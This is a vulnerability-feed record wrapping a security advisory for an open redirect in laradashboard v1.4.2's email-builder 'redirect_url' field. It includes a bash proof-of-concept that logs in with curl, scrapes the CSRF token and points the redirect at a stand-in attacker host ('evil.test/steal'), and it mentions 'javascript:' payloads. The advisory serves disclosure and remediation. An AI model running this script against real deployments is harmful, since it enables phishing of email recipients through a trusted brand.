{"schema":"threatline.record/2","record":{"id":"GHSA-j2vp-w788-8fcf","aliases":["GHSA-j2vp-w788-8fcf"],"summary":"Open Redirect via Email-Builder redirect_url","details":"#  Open Redirect via Email-Builder `redirect_url`\r\n\r\n- **Severity:** CVSS `/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N`\r\n\r\n- **CWE:** 601 (open redirect)\r\n- **Affected:** v1.4.2; `EmailTemplateController`, `lara-builder/entry.jsx`\r\n\r\n## Summary\r\n\r\nThe `redirect_url` field accepted in the editor goes into the email HTML without sanitization:\r\n\r\n```php\r\n// EmailTemplateController.php:142 (formRequest: $request->redirect_url → db)\r\n// EmailTemplateController.php:159 (saved in plaintext)\r\n```\r\n\r\nThe redirect is rendered in the email body (inside `<script>` block in the custom HTML view) and triggered client-side:\r\n\r\n```javascript\r\n// lara-builder/entry.jsx:63\r\nwindow.location.href = redirect_url;\r\n```\r\n\r\nAuth scope: `email_template.view` (authors/editors with email-template access). The payload renders at email open in the recipient's client.\r\n\r\n## Reproduction\r\n\r\n1. `PUT /admin/email-templates/1` — set `redirect_url` to `https://evil.com/steal` (or `javascript:` in legacy rendering).\r\n2. Send test email → recipient clicked \"Continue reading\" → redirected to attacker domain.\r\n\r\n## Impact\r\n\r\n- Credential/CSRF phishing via a trusted brand link (the mail looks like it comes from the app).\r\n- DOM-based redirect (legacy) may allow XSS/cookie-exfiltration chains in older clients.\r\n\r\n## Remediation\r\n\r\n1. Validate `redirect_url` against an allow-list of first-party domains + `https` only.\r\n2. Render as a `<a href>` with `rel=noreferrer noopener` rather than `window.location.href`.\r\n\r\n## PoC\r\n\r\n### Script\r\n\r\n```bash\r\n#!/usr/bin/env bash\r\n# V-09: Open redirect via email-builder redirect_url\r\nset -eu\r\nBASE=\"${BASE_URL:?Set BASE_URL to running app}\"\r\nEDITOR_EMAIL=\"${EDITOR_EMAIL:-editor@example.com}\"\r\nEDITOR_PASS=\"${EDITOR_PASS:-password}\"\r\nCOOKIE=$(mktemp)\r\ntrap 'rm -f \"$COOKIE\"' EXIT\r\n\r\ncurl -sS -c \"$COOKIE\" \"$BASE/login\" > /dev/null\r\nCSRF=$(curl -sS -b \"$COOKIE\" \"$BASE/login\" | grep -oP 'name=\"_token\"[^>]*value=\"\\K[^\"]+' | head -1)\r\ncurl -sS -b \"$COOKIE\" -c \"$COOKIE\" -X POST \"$BASE/login\" \\\r\n  -d \"_token=$CSRF&email=$EDITOR_EMAIL&password=$EDITOR_PASS\" -o /dev/null\r\n\r\necho \"[1/2] Setting redirect_url to attacker domain...\"\r\nCSRF2=$(curl -sS -b \"$COOKIE\" \"$BASE/admin/email-templates/1/edit\" | grep -oP 'name=\"_token\"[^>]*value=\"\\K[^\"]+' | head -1)\r\ncurl -sS -b \"$COOKIE\" -X PUT \"$BASE/admin/email-templates/1\" \\\r\n  -d \"_token=$CSRF2&email_templates[name]=reset-poc&redirect_url=https://evil.test/steal?c=\" \\\r\n  -w \"    HTTP %{http_code}\\n\"\r\n\r\necho \"[2/2] Emailed link redirects on open (entry.jsx:63 window.location.href)...\"\r\necho \"    → recipient clicks 'Continue reading' → https://evil.test/steal\"\r\necho \"[+] Done — open redirect in branded email.\"\r\n```\r\n\r\n### Expected output\r\n\r\n```text\r\n[1/2] Setting redirect_url to attacker domain...\r\n    HTTP 200\r\n[2/2] Emailed link redirects on open (entry.jsx:63 window.location.href)...\r\n    → recipient clicks 'Continue reading' → https://evil.test/steal\r\n[+] Done — open redirect in branded email.\r\n```\r\n\r\nNo scheme/domain validation on `redirect_url` (`EmailTemplateController.php:142,159`).\r\n\r\n\r\nConnect with the researcher: [Evilord on LinkedIn](https://www.linkedin.com/in/evilord)","categories":["Unclassified"],"product":"laradashboard/laradashboard","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/laradashboard/laradashboard/security/advisories/GHSA-j2vp-w788-8fcf","source_modified_at":"2026-10-03T09:38:45Z","fetched_at":"2026-10-25T18:55:31.805249Z","package":{"ecosystem":"php,laravel","name":"laradashboard/laradashboard"},"range":"v1.4.2 "}],"fixed_versions":[],"cvss":5.4,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-03T09:38:45Z","modified_at":"2026-10-03T09:38:45Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/laradashboard/laradashboard/security/advisories/GHSA-j2vp-w788-8fcf","fetched_at":"2026-10-25T18:55:31.805249Z","source_modified_at":"2026-10-03T09:38:45Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-03T09:38:45Z","content_hash":"f52a8bfbceb47ae36b1a9873e94065c55f5a558dd7492516495c062c0b5b6da2"}}
